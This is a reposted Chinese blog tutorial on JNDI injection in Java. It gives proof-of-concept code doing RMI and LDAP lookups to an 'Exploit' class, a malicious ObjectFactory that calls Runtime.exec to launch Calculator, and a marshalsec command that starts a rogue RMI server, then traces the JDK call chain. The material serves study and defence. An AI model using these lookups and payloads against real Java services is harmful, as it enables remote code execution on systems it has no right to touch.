JNDI注入

@Author: Patrilic @Time: 2020-3-15 16:41:55

JNDI注入

0x00 JNDI

JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口。

JNDI是一个API,允许客户端通过name发现和查找数据和对象。

// JndiName
String jndiName= ...;
// Initial
Context context = new InitialContext();
// lookup该name的数据
DataSource ds = (DataSourse)context.lookup(jndiName);

0x01 JNDI-RMI

JNDI注入就是如果我们可以任意控制 jndiName
的值,那么就可以通过加载JNDI,远程执行Class

RMI的工厂类: com.sun.jndi.rmi.registry.RegistryContextFactory


poc.java

package com.patrilic.jndipoc;
import javax.naming.Context;
import javax.naming.InitialContext;
public class poc {
    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/Exploit";
        Context ctx = new InitialContext();
        ctx.lookup(uri);

    }
}

Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

利用 marshalsec
起一个rmiServer

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001//#Exploit

调用链

JNDI注入

javax/naming/InitialContext.java


JNDI注入

JNDI注入

com/sun/jndi/toolkit/url/GenericURLContext.class


JNDI注入

com/sun/jndi/rmi/registry/RegistryContext.class


JNDI注入

与registry通讯,获取RMI服务的IP。

JNDI注入

JNDI注入

直接进入到 help.loadClass()


JNDI注入

0x02 JNDI-LDAP

LDAP工厂类: com.sun.jndi.ldap.LdapCtxFactory


poc.java

package com.patrilic.jndipoc;
import javax.naming.Context;
import javax.naming.InitialContext;
public class poc {
    public static void main(String[] args) throws Exception {

        String uri = "ldap://127.0.0.1:1389/Exploit";
        Context ctx = new InitialContext();
        ctx.lookup(uri);

    }
}

JNDI注入

首先同样通过 javax/naming/InitialContext.java#lookup


JNDI注入

ldap在 com/sun/jndi/url/ldap/ldapURLContext.class
中进行处理

JNDI注入

com/sun/jndi/toolkit/url/GenericURLContext.class


JNDI注入

com/sun/jndi/ldap/LdapCtx.class


JNDI注入

最后覆盖类执行命令

javax/naming/spi/DirectoryManager.jave


JNDI注入

原文 

https://patrilic.top/2020/03/15/JNDI注入/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » JNDI注入

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址